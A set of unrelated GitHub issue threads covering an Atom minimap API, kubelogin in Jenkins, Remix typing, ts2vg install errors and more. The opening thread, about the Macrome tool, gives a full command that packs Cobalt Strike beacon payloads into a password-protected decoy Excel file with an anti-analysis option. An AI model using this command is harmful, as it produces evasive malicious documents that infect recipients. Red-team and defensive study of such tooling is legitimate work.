Apologies for the delay here folks - I just pushed a new release which should handle Cobalt Strike beacons much MUCH better (staged or stageless). I've tested on x64 + x86 machines, but I'm sure my environment isn't perfect. Give the new release a try at https://github.com/michaelweber/Macrome/releases/tag/v0.4.1. It is no longer necessary to drop null bytes.

Apologies for the delay here folks - I just pushed a new release which should handle Cobalt Strike beacons much MUCH better (staged or stageless). I've tested on x64 + x86 machines, but I'm sure my environment isn't perfect. Give the new release a try at https://github.com/michaelweber/Macrome/releases/tag/v0.4.1. It is no longer necessary to drop null bytes.

Is it to directly generate x86 and x64 CS attack payloads? Then execute:
dotnet Macrome.dll b --decoy-document decoy_document.xls --payload beacon.bin --payload64-bit beacon64.bin --method AntiAnalysisCharSubroutine --payload-method base64 --password VelvetSweatshop --output-file-name base64beacon.xls
is that so?

That is exactly how it should work now. You should be able to do that with the staged or stageless payloads.

Closing this since I've now used this with Cobalt Strike beacon payloads on a number of occasions and have had no issues. Using the command line from Or3ak is pretty much exactly how you do it. The key is using the payload-method command.


Add install testing CI test

Once we have jenkins setup for this repo, create a CI test that executes the install docs [*] when they change to ensure we haven't borked them.

[*] - by calling https://github.com/kata-containers/tests/blob/master/cmd/kata-manager/kata-manager.sh with the install-packages command.

This will probably require moving a large chunk of the logic in https://github.com/kata-containers/osbuilder/pull/102 into the tests repo (or maybe just the whole thing) so that both osbuilder and documentation can call it as part of their CIs.


[EOC-261] Socket adding members to a cohort

Socket logic (regarding adding cohort member) was refactored
I left comments in the code to help understand the solution. I'll removed them after review.
On adding a new member to cohort 'A':

The user who performed action gets data via current logic (fetch data),
The members of Cohort 'A' who are currently on this cohort view gets the new member data,
The members of Cohort 'A' who are currently on cohorts view get updated cohort metadata (membersCount),
If the new cohort member is on cohorts view gets cohort metadata.
If the new cohort member is on dashboard view gets shared lists (metadata) of this cohort
Users who are currently on cohort's shared lists views gets new cohort member data.

Socket logic (regarding adding cohort member) was refactored


Proposal: API enhancement for editors with block decorations

I fiddled with the block decoration features to check how this would affect the minimap and as I suspected it completely breaks the sync between the two views.
The biggest concern I have for the moment is that there is no public API to get the height and the y position of a line with a block decoration attached. Since I guess these are quite costly operations that are already handled by the editor's view I would expect it to expose these informations publicly so that we don't need to traverse all the editor's layers and decorations to compute these values.
Another approach would be to have two sets of scroll values, one that account for the decorations and one that doesn't. For instance with a block decoration of 100px height at one line, the first method would return a scroll height equal to the height of all lines + 100 and the other one would return the just the height of all lines. Same goes for the scroll position, the first one would returns the scroll as it's used in the view, the other one would return the scroll position ignoring the block decoration (clamping the value to the start/end y of the line depending on whether the block is displayed before or after the line).
A third possibility is to have a scroll position defined as a couple of value: the first visible line index and a position within the line (in the range 0-1). If we have access to the line y position and height through an API, we can compute the corresponding scroll top, or map this to any other type of grid and still be in complete sync with the editor.
Another concern for the minimap is that block decorations breaks the assumption that an editor's lines all fit on a predefined grid. It means that I can no longer use a ratio to transpose a line height and position and still get an integer value at the end - let say a line takes 17px in the editor, and 3px in the minimap, I can always assume that line 11 will be at y=30px in the minimap. Now with block decorations, a line can have an arbitrary height, which means that if I apply this ratio to get the line height I'll probably end up with a decimal value. And as the minimap is using a canvas, decimal values need to be avoided at all cost to preserve the crispness of the minimap render. To workaround that I would probably need to map every line heights from the editor to a rounded value more suited to the minimap. But same thing here, it would better if I could avoid traversing all the editor's lines to make this computations.
How do you feel about this?
cc/ @nathansobo, @as-cii

So, after discussing that with @as-cii I may be able to wrokaround the lack of API. So I close the issue for now and I'll reopen if I see that I can't do without some changes in the editor API.

Sorry for the late follow up, I got a carried away with other things.
So I just started to look at the feasibility ot the solution we discussed with @as-cii, namely using pixelPositionForScreenPosition to get the line offsets and deduce the line heights from that, but sadly it looks like a no go from a performance point of view.
I'll spare you the implementation details, but basically, when rendering the minimap I need to know the first and last visible rows in the minimap, previously I could just get these values by using simple arithmetic involving the scroll ratio, the editor's height and the line height (which was constant). With block decorations I need to call pixelPositionForScreenPosition for pretty much every line so that I can find which is the first and last visible rows. I made a quick test on a ~440 lines file and computing the offsets takes ~1.2s, on a ~1820 lines files it takes ~6.3s, and this is just by calling the function for each line and push the top value in an array. As you can imagine, the longer the file the longer it will take to process these offsets.
So, as is, I fear I'll have to abandon the idea of supporting block decorations in the minimap (I mean supporting the offset applied by these decorations). Sadly it's now already in use and the first related issue just landed (atom-minimap/minimap#462).
Ideally, I want to be able to render a placeholder in the minimap for block decorations so that the scale of the minimap says consistent with the editor, but a solution that would allow me to at least keep the minimap in sync when the editor scroll would be enough. In the end I still think there's a need for an API that allows packages authors to work with block decorations and editor's scroll in a smooth way. As is, the cost is too important if we have to use pixelPositionForScreenPosition for that.
I'm open to any suggestions on this matter.
cc @atom/feedback

With block decorations I need to call pixelPositionForScreenPosition for pretty much every line so that I can find which is the first and last visible rows. I made a quick test on a ~440 lines file and computing the offsets takes ~1.2s, on a ~1820 lines files it takes ~6.3s, and this is just by calling the function for each line and push the top value in an array.

Since you don't need the position of every line, just the first and last visible ones, could you use a binary search pattern to find them? This should reduce it from an O(n) to an O(log n) operation, yes? I don't know if that will help enough ... but it is worth a try, I would think?
It looks like there is an average of about 3ms ± 1ms per line in the above measurements. If that holds, the average case for the 440 line file should be 9 lines * 3ms per line * 2 (for both first and last) = ~54ms and 11 lines * 3ms per line * 2 = ~66ms ? Please double-check my calculations because my maths are pretty rusty :laughing:

Since you don't need the position of every line, just the first and last visible ones, could you use a binary search pattern to find them

I'll do need their position when rendering them, since each line can have a different height due to the block decorations they'll have a different location in the minimap, and I need to compute that location. It's also the case for every decorations displayed in the minimap. And a typical minimap displays easily four to five times the amount of lines in the editor.
But even if I use a binary search and let's assume its cost is close to your estimation, I need to do that operation on each frame during a scroll and on each change in the editor. 54ms is clearly out budget. And there's the cost of building and updating the tree, updates which occurs on potentially every changes made in the editor.
Actually, a repaint on scroll or edit with dozen of decorations is between 2ms and 4ms depending on the size of the window and the minimap settings.
 I wish I could easily support them, but that's not the case, and I'm really wondering if it's worth the effort. I mean I won't rewrite all the minimap and killl the performances just for that.

I do think there's a need for a text editor element API around that, we need to be able to get this kind of information without losing performances.

Hey @abe33, thanks for the thorough write-up. Could you profile what's slow in the benchmark you have performed and post it here? I suppose that pixelPositionForScreenPosition is slow because it's forcing some DOM elements to be added on screen, thus involving some pretty serious layout thrashing (i.e. if a line isn't visible because of the current scroll position, we add it and then remove it after measuring it).

I do think there's a need for a text editor element API around that, we need to be able to get this kind of information without losing performances.

If the assumption above is correct, I wonder if we can just add a performance optimization to pixelPositionForScreenPosition, which won't involve the DOM at all if the asked position is {row: y, column: 0}. :zap:
If that is still slow, we might want to expose the LineTopIndex, which in turn could provide an iterator that would enable an in-order traversal of the tree without the need of necessarily starting from the root node every time we want to know the position of a contiguous set of lines. You would use it like this:
let startRow = 100
let endRow = 400
let iterator = textEditorElement.buildLineTopIterator()
iterator.seekToScreenRow(startRow)
do {
  let top = iterator.getTop()
  // perform the needed math
} while (iterator.getScreenRow() < endRow && iterator.moveToSuccessor())

I'd resort to this only if the more high-level pixelPositionForScreenPosition approach described above is not enough.
Thoughts? :thought_balloon:

Could you profile what's slow in the benchmark you have performed and post it here

Sure things, here the CPU profile:
https://gist.github.com/abe33/28b62272790fc591e964

Based on the CPU profile above, we have confirmed the assumption that converting screen position to pixel positions causes some pretty serious layout thrashing.
So, after talking about this with @nathansobo, we concluded that optimizing pixelPositionForScreenPosition in the {column: 0} case is not sufficient, as it provides unpredictability both in terms of performance (calling that method is :racehorse: in some cases, and :snail: in others) and behavior (soft-wrapped lines may not have a 0 screen column, so we need to deal with that differently).
Thus, we concluded that some new APIs are necessary in order to query block decorations and lines in a fast and performant manner. :zap: The new methods we have in mind are:

TextEditorElement.prototype.blockDecorationsForScreenRowRange(startRow, endRow)
TextEditorElement.prototype.verticalPixelPositionForScreenRow(row)
TextEditorElement.prototype.screenRowForVerticalPixelPosition(pixelPosition)

We want to expose all three of these methods under TextEditorElement as they all describe spatial attributes of lines and block decorations. Their usage in minimap might go like the following:
let minimapScrollTop
let minimapScrollBottom = minimapScrollTop + minimapHeight

let minimapScrollTopInEditor = minimapScrollTop * scaleFactor
let minimapScrollBottomInEditor = minimapScrollBottom * scaleFactor

let firstVisibleRowInMinimap = editorElement.screenRowForVerticalPixelPosition(minimapScrollTop)
let lastVisibleRowInMinimap = editorElement.screenRowForVerticalPixelPosition(minimapScrollBottom)
let blockDecorationsByScreenRow = editor.blocksDecorationForScreenRowRange(firstVisibleRowInMinimap, lastVisibleRowInMinimap)

let blockDecorationsForRow5 = blockDecorationsByScreenRow.get(5)
for (let blockDecoration of blockDecorationsForRow5) {
  let {decoration, height} = blockDecoration
  let {position, item, minimapItem} = decoration
  if (position === 'after') {
    // render after
  } else {
    // render before
  }

  if (minimapItem) {
    // render custom minimapItem
  } else {
    // render placeholder
  }
}

This should be very efficient in the case of computing visible rows in the minimap, as I think the overall cost of the function approximates to O(n) in the worst case, where n = lastVisibleRowInMinimap - firstVisibleRowInMinimap. As a bonus, with this approach people might provide a custom minimapItem for atom-minimap to render instead of a placeholder: that's totally optional though, and I guess that item needs to be something like a canvas so that you can copy its pixels right into the minimap canvas.
@abe33: what do you think? It'd be awesome to get your feedback on the proposal above, so that we can start implementing those APIs and provide them right in the next beta (or maybe even in a hotfix?).  :sparkles:
Thanks!

Sorry for the late reply I was at work when I posted the profile, I wanted to reply more in depth about you previous proposal but I just forgot ^^. So I'll reply only for your latest proposal.
As far as I can tell it's much closer to what I was suggesting in my first post.

The new methods we have in mind are:

TextEditorElement.prototype.blockDecorationsForScreenRowRange(startRow, endRow)
TextEditorElement.prototype.verticalPixelPositionForScreenRow(row)
TextEditorElement.prototype.screenRowForVerticalPixelPosition(pixelPosition)

:+1: Looks perfect for the minimap use case. I'm already seeing how I will be able to use these methods, there might be a bit of a performance loss in the minimap before I completely grasp how to make use of these new APIs but it looks like a good start.
Maybe I would add a method to know whether a text editor has block decorations or not so that I can switch the implementation and keep the current one for editors without block decorations (at least it should make the migration less painful for users that don't use packages that create block decorations).
In combination with the onDidAddDecoration event I could even switch the implementation after the creation of the editor.

As a bonus, with this approach people might provide a custom minimapItem for atom-minimap to render instead of a placeholder

That would be totally awesome!

that's totally optional though, and I guess that item needs to be something like a canvas so that you can copy its pixels right into the minimap canvas.

Exactly, there never was a good way to copy HTML into a canvas, the only method currently available involve converting the markup to XML and then render the XML into the canvas, but there're many security issues that make it really hard to use (images, fonts, styles may not be loaded properly due to sandboxes). Another way to achieve the same result would be to pass a function instead of a bitmap so that I can call that function with the contextual data so that the package can creates the proper placeholder based on the current state of the minimap. But that's not really urgent to settle on that, we'll see how block decorations get adopted and if the need for a specific API on the minimap is required for that as well.

we can start implementing those APIs and provide them right in the next beta (or maybe even in a hotfix?)

Just beta should be fine, I don't think block decorations are so widely spread yet that it would require a patch on stable immediately. And I'll be able to switch the implementation if needed based on the presence of these new methods on the text editor element class so that people using stable still get a working minimap (even if block decorations lead to inconsistencies in the render).


You must be logged in to the server (Unauthorized)

Hello,
We see an intermittent issue using kubelogin, which says "Error: You must be logged in to the server (Unauthorized)". We are using a Jenkins agent node that spins up a container that downloads version 0.0.26 of kubelogin. Issue pops up once in 25 builds.

12:56:25  2023-03-10 12:56:21 CRITICAL: Applying Helmsman labels to [ ****** ] release failed with non-zero exit code 1: exit status 1
12:56:25  output:
12:56:25  --- stdout ---
12:56:25
12:56:25  --- stderr ---
12:56:25  error: You must be logged in to the server (Unauthorized)
12:56:25
12:56:25  2023-03-10 12:56:21,523 - 0001:- root:helm_utils - execute_helmsman - ERROR - Helm stderr:
12:56:25  2023-03-10 12:56:21,523 - 0001: - root:helm_utils - execute_helmsman - ERROR -
12:56:25  2023-03-10 12:56:21,523 - 0001:***** - root:helm_utils - execute_helmsman - ERROR - helmsman command with ERROR ran in

in Jenkins, different workspaces are run under the same jenkins user. By default, kubelogin caches the token in ~/.kube/cache/kubelogin. So workspaces running at the same time will clash and result in what you observe. The mitigation is to specify --token-cache-dir with your workspace specific dir when running kubelogin convert-kubeconfig. I will create doc to document this later.

https://azure.github.io/kubelogin/topics/jenkins.html

Thank you for the response Weinong. We use kubelogin inside docker container. Each Jenkins pipeline will trigger the docker container to run kubelogin and perform other remaining task. There is no clash with ~/.kube and ~/.azure directory.


Fix OPUS request URLs

Description
Since commit 72b6e851, the request URLs used by OPUSInterface have been broken (#574), which causes commands to fail (e.g. starting recording). Fix by creating the URL from a string rather than a QUrl. We had unit tests for this but they didn't catch it.
Fixes #574.
Type of change

[ ] New feature (non-breaking change which adds functionality)
[x] Bug fix (non-breaking change which fixes an issue)
[ ] Documentation (non-breaking change that adds or improves the documentation)
[ ] Optimisation (non-breaking, back-end change that speeds up the code)

Key checklist

[x] Pre-commit hooks run successfully (pre-commit run -a)
[x] All tests pass (pytest)
[ ] The documentation builds without warnings (mkdocs build -s)
[x] Check the GUI still works (if relevant)
[x] Check the code works with actual hardware (if relevant)
[ ] Check the pyinstaller-built executable works (if relevant)

Further checks

[x] Code is commented, particularly in hard-to-understand areas
[x] Tests have been added or an issue has been opened to tackle that in the future. (Indicate issue here: # (issue))

Sorry, it was a slightly rushed description. The problem was that we were using the setPath() method of the QUrl to set the path with a query string, e.g. setPath("cmd.htm?opusrsstart"), but the question mark gets escaped rather than passed through. You need to use the setQuery() method instead to set this part, but I decided it was easier to just go back to using simple strings. The reason the test didn't pick it up was because the test didn't look at the case where there was a query string. Actually, I'll remedy that :smile:


BetterMute

you can add a system of "weehbook" to discord ?

1st -> Discord-Webhook support is already implemented
2nd -> You should learn english


Update

Manually merged this as I think your fork needs updating: https://help.github.com/articles/syncing-a-fork/


Test e2e employee skype message

This PR contains following end to end test for skype message lambda-
This End to end test employee skype message covers following:
Setup- Purging SQS queue
Step 1: Triggering employee message lambda
Step 2: Printing message from cloudwatch logs
Step 3: verifying message with skype-listener sqs queue and culture file

@rahul-bhave : remove this empty file

Removed this line in fact the class Style has been shifted to filter_messag_helper.py file.

@rahul-bhave : It will be good if you run pylint again and check the issues.

Almost all helper files have pylint issues greater than >8,

asyncio_helper and lambda_helper are showing issues with import but if we look at the logs those files actually exists in the helper folder.
With lambda helper showing import issues with Event variable showing this as unused but actually Event is used in the triggering lambda.
In the asyncio_helper, main method it is showing results  as unused variable but we are actually collecting the tasks in the results.


[XVideos] Can't get thumbnail, can't get video

Please follow the guide below

You will be asked some questions and requested to provide some information, please read them carefully and answer honestly
Put an x into all the boxes [ ] relevant to your issue (like this: [x])
Use the Preview tab to see what your issue will actually look like

Make sure you are using the latest version: run youtube-dl --version and ensure your version is 2018.03.03. If it's not, read this FAQ entry and update. Issues with outdated version will be rejected.

[x] I've verified and I assure that I'm running youtube-dl 2018.03.03

Before submitting an issue make sure you have:

[x] At least skimmed through the README, most notably the FAQ and BUGS sections
[x] Searched the bugtracker for similar issues including closed ones
[x] Checked that provided video/audio/playlist URLs (if any) are alive and playable in a browser

What is the purpose of your issue?

[x] Bug report (encountered problems with youtube-dl)
[ ] Site support request (request for adding support for a new site)
[ ] Feature request (request for a new functionality)
[ ] Question
[ ] Other

The following sections concretize particular purposed issues, you can erase any section (the contents between triple ---) not applicable to your issue

If the purpose of this issue is a bug report, site support request or you are not completely sure provide the full verbose output as follows:
Add the -v flag to your command line you run youtube-dl with (youtube-dl -v <your command line>), copy the whole output and insert it here. It should look similar to one below (replace it with your log inserted between triple ```):
# youtube-dl --quiet --verbose --prefer-free-formats --no-check-certificate "https://www.xvideos.com/video299069/diesel_sfw_xxx_video" -o -    > diesel.mp4
[debug] System config: []
[debug] User config: []
[debug] Custom config: []
[debug] Command-line args: [u'--quiet', u'--verbose', u'--prefer-free-formats', u'--no-check-certificate', u'https://www.xvideos.com/video299069/diesel_sfw_xxx_video', u'-o', u'-']
[debug] Encodings: locale UTF-8, fs UTF-8, out None, pref UTF-8
[debug] youtube-dl version 2018.03.03
[debug] Python version 2.7.13 (CPython) - Linux-4.9.78-xxxx-std-ipv6-64-x86_64-with-debian-9.3
[debug] exe versions: ffmpeg 3.2.10-1, ffprobe 3.2.10-1, phantomjs 2.1.1, rtmpdump 2.4
[debug] Proxy map: {}
WARNING: unable to extract thumbnail; please report this issue on https://yt-dl.org/bug . Make sure you are using the latest version; type  youtube-dl -U  to update. Be sure to call youtube-dl with the --verbose flag and include its complete output.
[debug] Default format spec: best/bestvideo+bestaudio
[debug] Invoking downloader on u'http://hls1-l3.xvideos-cdn.com/d9704bf97dcb248f22a24c4956fc28e8dcd0ac4f-1520526038/videos/hls/93/5e/7a/935e7a0c7bd95609d9d0cad44a349276-1/hls-360p.m3u8'
ERROR: unable to download video
Traceback (most recent call last):
  File "/usr/local/bin/youtube-dl/youtube_dl/YoutubeDL.py", line 1989, in download
    url, force_generic_extractor=self.params.get('force_generic_extractor', False))
  File "/usr/local/bin/youtube-dl/youtube_dl/YoutubeDL.py", line 796, in extract_info
    return self.process_ie_result(ie_result, download, extra_info)
  File "/usr/local/bin/youtube-dl/youtube_dl/YoutubeDL.py", line 850, in process_ie_result
    return self.process_video_result(ie_result, download=download)
  File "/usr/local/bin/youtube-dl/youtube_dl/YoutubeDL.py", line 1623, in process_video_result
    self.process_info(new_info)
  File "/usr/local/bin/youtube-dl/youtube_dl/YoutubeDL.py", line 1901, in process_info
    raise UnavailableVideoError(err)
UnavailableVideoError: [Errno 2] No such file or directory: '-'

...
<end of log>

If the purpose of this issue is a site support request please provide all kinds of example URLs support for which should be included (replace following example URLs by yours):

Single video: https://www.xvideos.com/video299069/diesel_sfw_xxx_video

Note that youtube-dl does not support sites dedicated to copyright infringement. In order for site support request to be accepted all provided example URLs should not violate any copyrights.

Description of your issue, suggested solution and other information
Explanation of your issue in arbitrary form goes here. Please make sure the description is worded well enough to be understood. Provide as much context and examples as possible.
If work on your issue requires account credentials please provide them or explain how one can obtain them.
Can't get the thumbnails and can't get the video. I think it's because it's M3u8 stream and not MP4/WEBM/normal file.

Probably a recent site change.

Hi @Jazzzon,
Are you still having this issue?  I am able to download this and other videos from the XVideos site without any problems using the latest youtube-dl build 2018.03.14.
You are correct about the missing thumbnail - a new PR will be submitted to address this.
Cheers,
Parmjit V.


The SUNCG dataset is not available now

As discussed in:

https://github.com/minosworld/minos/issues/159
https://github.com/shurans/SUNCGtoolbox/issues/32
https://github.com/HoME-Platform/home-platform/issues/30

All links are dead for the dataset.

Did you find a solution how to download the SUNCG dataset?

is there any other dataset can be used?

Hey guys, what's happened with the Dataset?

Hey guys, what's happened with the Dataset?

@franmts
https://futurism.com/tech-suing-facebook-princeton-data

Any updates on the state of the lawsuit at the moment?

Hi, any update now?

Hi, any update now?

Any idea of how to continue using this repo? @ppwwyyxx


Fix DeepFool

Description
This pull request fixes the overshoot step of DeepFool, adds warnings if the estimator predicts probabilities instead of logits and if clip_values are None and scales the perturbations to the clip_values.
Fixes #219 #475
Type of change
Please check all relevant options.

[x] Bug fix (non-breaking)
[ ] New feature (non-breaking)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[ ] This change requires a documentation update

Checklist

[x] My code follows the style guidelines of this project
[x] I have performed a self-review of my own code
[x] I have commented my code
[x] I have made corresponding changes to the documentation
[x] My changes generate no new warnings
[x] I have added tests that prove my fix is effective or that my feature works
[x] New and existing unit tests pass locally with my changes

@hkthirano Thank you very much for your review!


Initial effort to add chunkwise retention paradigm

Thanks for this.
If possible, please could you modify your changes to be in line with the rest of the code?
The majority of the code of the other two paradigms is in retention.py, with retnet.py making reference to them. I would suggest moving the Chunk-wise in line with these two.
I'd also recommend adding a test to make sure they give the same output as the other two paradigms (see files prefixed with "test_").
If this is implemented I'll be able to merge.


[style]: improving UI for 2 forms.

What's the style idea?
We need to improve  the forms of these 2 forms .
@SurajPratap10 if you can assign me this ill work on it asap.
Add screenshots
Add screenshots

Code of Conduct

[X] I agree to follow this project's Code of Conduct

Go ahead @T-Rahul-prabhu-38


make Logger non virtual in UserManager

Fixes #1441

Rejecting, breaking change would need to be in new major version.


[GSoC] 238-Photo2Cartoon

Convert Photo to cartoon ONNX Model to OpenVINO™ IR
Photo2Cartoon results
This tutorial explains how to convert the photo2cartoon ONNX Model to OpenVINO™ IR
Notebook Contents
This tutorial demonstrates the running results of photo2cartoon and converts it from ONNX model to the IR model used by OpenVION.
The tutorial consists of the following steps:

Prepare the environment required for program operation
Downlad pre-train model
Validate original model
Convert ONNX model to openVINO IR
Verify model inference

Installation Instructions
If you have not installed all required dependencies, follow the Installation Guide.

Hi, @eaidova
Can you approve the audit now? I have corrected the mistakes reported in the previous audit.
Thanks.

Hi, @eaidova
Sorry, due to my negligence, I didn't notice that I need to update README.md while updating notebook. Because I don't know how to put the picture in https://user-images.githubusercontent.com Above, I placed the images from README.md in one of my unused GitHub repositories. Please use the checker again to check my code. I'm sorry to trouble you.

Thank you for your contribution. Before we do the review please do the self-check first (tick the item when it's done):

[ ] each function is described by docstrings and type hints
[ ] notebook contains explicit descriptions and explanatory diagrams
[ ] there is a README.md file in consistent style (look at other notebooks)
[ ] the notebook is added to the main README and notebooks/README files
[ ] there are no grammar, interpunctions or typo issues (use any free tool for that e.g. Grammarly)
[ ] there are no committed files besides notebook and readme (please use images or videos from data dir)
[ ] all CI checks passed

We will review only if all the above items are checked.

To put the picture under that URL, upload it to this PR and then copy the link.

Hi, @adrianboguszewski I have almost completed all self-check, except for the penultimate item, because the model for this project is not on GitHub. Can you give me some tips or suggestions? I can use the model without uploading files to Github.

Now, I have a preliminary idea. I can put the project Fork of photo2cartoon into my warehouse, and then directly upload the model in the corresponding directory. I'm trying to do it now.

Hi, I have solved all my previous problems. But I don't know how there are so many checks.And now the error is due to an error in the download of the dependency on the mac system.

Hello, @adrianboguszewski , @eaidova . In the current inspection, there is not a problem with my code. Due to my error, I will not know what version has been mixed into my code. Can I restart a PR and resubmit my application now.


useLoaderData incorrectly inferring all properties from loader as any

What version of Remix are you using?
2.1.0
Are all your remix dependencies & dev-dependencies using the same version?

[X] Yes

Steps to Reproduce
The following code should allow useLoaderData to infer the correct types, as stated in documentation, but does not.
export const loader: LoaderFunction = () => {
	return json({
		string: "hi :)",
		number: 1,
		array: [
			"some",
			"random",
			"items",
		],
}

export default function Page() {
	const { string, number, array } = useLoaderData<typeof loader>();
	...
}

Expected Behavior
The destructured values should be the type of string, number, and string[] respectively.
Actual Behavior
The destructured values have an incorrect type of any. A type of any is still inferred when not destructuring the object, and returning an object without wrapping with the json() function.

Setting LoaderFunction type for loader tells TS to not infer the type for loader and just use LoaderFunction, which is a wide type that doesn't know about your return value. If you remove LoaderFunction then TS will correctly infer the type:
export const loader = () => {
  return json({
    a: "hi :)",
    b: 1,
    c: ["some", "random", "items"],
  })
}

If you want to make sure that your loader adheres to the LoaderFunction type and you want type inference, you can use satisfies:
export const loader = (() => {
  return json({
    a: "hi :)",
    b: 1,
    c: ["some", "random", "items"],
  })
}) satisfies LoaderFunction

Setting the LoaderFunction type in  still allowed type inference in v1, perhaps this may be a regression?

Here's a reproduction without any Remix code showing how defining a function type overrides inference for a more specific return value in TS:
type Loader = () => Record<string, number>

const loader1: Loader = () => {
	return {a: 1}
}

type Result1 = ReturnType<typeof loader1>
//   ^? { [x: string]: number }

const loader2 = () => {
	return {a: 1}
}

type Result2 = ReturnType<typeof loader2>
//   ^? { a: number }


chore(deps): update common-dev-assets digest to e4ce78d

This PR contains the following updates:

Package
Update
Change

common-dev-assets
digest
fb7b021 -> e4ce78d

Configuration
📅 Schedule: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
👻 Immortal: This PR will be recreated if closed unmerged. Get config help if that's undesired.

[ ] If you want to rebase/retry this PR, click this checkbox.

This PR has been generated by Renovate Bot.

:tada: This PR is included in version 1.0.3 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


Upgrade from version 1.8.5 to 1.8.9 Issue

Hi,
Previously we were using version 1.8.5 and for the useless password we were passing "".ToCharArray() to Pkcs12Store. Now after upgrading to 1.8.9 I was getting an exception password supplied for Keystore that does not require one.
So I have gone through the latest code and found out that we have a new property IgnoreUselessPasswordProperty which needs to be set in the Environment variable which fixed the issue but I would like to know more about this new property like what will be the impact of this and why it is necessary to set as an Environment variable.

The property simply allows to restore the old behaviour of ignoring that a "useless password" was provided. It is simpler to just pass null for the password when none is needed.


Better translation of "OS Outside Management Memory"

"OS Outside Management Memory" is too long. Is there any better English translation?

Maybe "OS-managed memory" is better than "OS Management Memory".

"OS-unmanaged Memory" is much better than "OS Outside Management Memory".

@Zero3K How do you think?

That makes sense to me.

https://github.com/Zero3K/ERAM/pull/7

Thanks. Its been merged.


Error while installing ts2vg due to Wheel

hello I get this error when trying to install ts2vg
Installing ts2vg...
Resolving ts2vg...
Installing...
⠧ Installing ts2vg...[31m[1mError: [0m An error occurred while installing [32mts2vg[0m!
Error text: Collecting ts2vg
Using cached ts2vg-1.2.1.tar.gz (643 kB)
Installing build dependencies: started
Installing build dependencies: finished with status 'done'
Getting requirements to build wheel: started
Getting requirements to build wheel: finished with status 'error'
[36m  error: subprocess-exited-with-error
× Getting requirements to build wheel did not run successfully.
│ exit code: 1
╰─> [26 lines of output]
Traceback (most recent call last):
File
"/opt/homebrew/lib/python3.11/site-packages/pipenv/patched/pip/_vendor/pyproject_hooks/_in_process/_in_process
.py", line 353, in
main()
File
"/opt/homebrew/lib/python3.11/site-packages/pipenv/patched/pip/_vendor/pyproject_hooks/_in_process/_in_process
.py", line 335, in main
json_out['return_val'] = hook(**hook_input['kwargs'])
^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File
"/opt/homebrew/lib/python3.11/site-packages/pipenv/patched/pip/_vendor/pyproject_hooks/_in_process/_in_process
.py", line 118, in get_requires_for_build_wheel
return hook(config_settings)
^^^^^^^^^^^^^^^^^^^^^
File
"/private/var/folders/4c/zgw8q2mx7plgt4ndx3mdg5zw0000gn/T/pip-build-env-bag7tkml/overlay/lib/python3.11/site-p
ackages/setuptools/build_meta.py", line 338, in get_requires_for_build_wheel
return self._get_build_requires(config_settings, requirements=['wheel'])
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File
"/private/var/folders/4c/zgw8q2mx7plgt4ndx3mdg5zw0000gn/T/pip-build-env-bag7tkml/overlay/lib/python3.11/site-p
ackages/setuptools/build_meta.py", line 320, in _get_build_requires
self.run_setup()
File
"/private/var/folders/4c/zgw8q2mx7plgt4ndx3mdg5zw0000gn/T/pip-build-env-bag7tkml/overlay/lib/python3.11/site-p
ackages/setuptools/build_meta.py", line 335, in run_setup
exec(code, locals())
File "", line 49, in
File "", line 43, in main
File
"/private/var/folders/4c/zgw8q2mx7plgt4ndx3mdg5zw0000gn/T/pip-build-env-bag7tkml/overlay/lib/python3.11/site-p
ackages/Cython/Build/Dependencies.py", line 973, in cythonize
module_list, module_metadata = create_extension_list(
^^^^^^^^^^^^^^^^^^^^^^
File
"/private/var/folders/4c/zgw8q2mx7plgt4ndx3mdg5zw0000gn/T/pip-build-env-bag7tkml/overlay/lib/python3.11/site-p
ackages/Cython/Build/Dependencies.py", line 816, in create_extension_list
for file in nonempty(sorted(extended_iglob(filepattern)), "'%s' doesn't match any files" %
filepattern):
File
"/private/var/folders/4c/zgw8q2mx7plgt4ndx3mdg5zw0000gn/T/pip-build-env-bag7tkml/overlay/lib/python3.11/site-p
ackages/Cython/Build/Dependencies.py", line 114, in nonempty
raise ValueError(error_msg)
ValueError: 'ts2vg/utils/pairqueue.pyx' doesn't match any files
note: This error originates from a subprocess, and is likely not a problem with pip.
error: subprocess-exited-with-error
× Getting requirements to build wheel did not run successfully.
│ exit code: 1
╰─> See above for output.
note: This error originates from a subprocess, and is likely not a problem with pip.
[0m
✘ Installation Failed

Hi! Are you running on macOS? If so, which version of macOS?

Hi ! yes , macOs Monterey version 12.5 (21G72)

Cool thanks, that's useful to know. And what version of pip are you using? (you can run pip --version to check)

version : pip 23.0.1 from /opt/homebrew/lib/python3.11/site-packages/pip (python 3.11)

I've built and published some new macOS wheels.
Can you try and execute pip install ts2vg again and see if that fixes it?

Hi Carlos,
Thank you so much !
works perfectly.

Awesome! :D


Deployment fails on Platforms like Railway

Hi there,
Deploying it on render.com causes to hit the ram limit and on railway.app I get a bunch of warning and errors show below

I used the docker image and forked the repo and build from there as well, also tried it on my local machine and such error do occur and some additional stuff is downloaded and cached but it does work as mentioned in usage, this is where my railway deployment crashed all the time

Hi @shishantbiswas, I was able to reproduce the issue.  It appears that you need to give it more memory to run in Railway.

I used the free instance on render.com and railway.app only render showed me the error in the console about the lack of memory I'll try running an instance with more memory later, thank you @steelcityamir


enable abbreviations extension on python-markdown

https://python-markdown.github.io/extensions/abbreviations/

Thanks! Seems reasonable. I will take a look at the output once #35 is resolved.

All three commits have been squashed.

This is a tricky one.
I want users who want the conventional look of a print resume to be able to ignore the CSS, i.e. "looks like a print resume" should be the default. And I'm a little worried that the dotted underline in the default resume will be confusing or off-putting for people who don't know CSS or HTML.
But the abbr feature is useful. So how about this?

keep the CSS how you have it, i.e. browser default rendering for browser view, and no underline for PDF
per MDN, add font-variant: none to the PDF style (apparently some browsers use small caps, but we want the most vanilla, boring typography possible)
remove the example usage of abbr from resume.md
in the last paragraph of the README, mention that the abbreviations extension is enabled (and link to https://python-markdown.github.io/extensions/abbreviations/).

If this sounds good, feel free to update the PR. If you prefer, I can handle the last bullet (the README) after we land your change.


fix a comment for localStorage

Ⅰ. Describe what this PR did
Ⅱ. Does this pull request fix one issue?

Ⅲ. Why don't you add test cases (unit test/integration test)? (你真的觉得不需要加测试吗？)
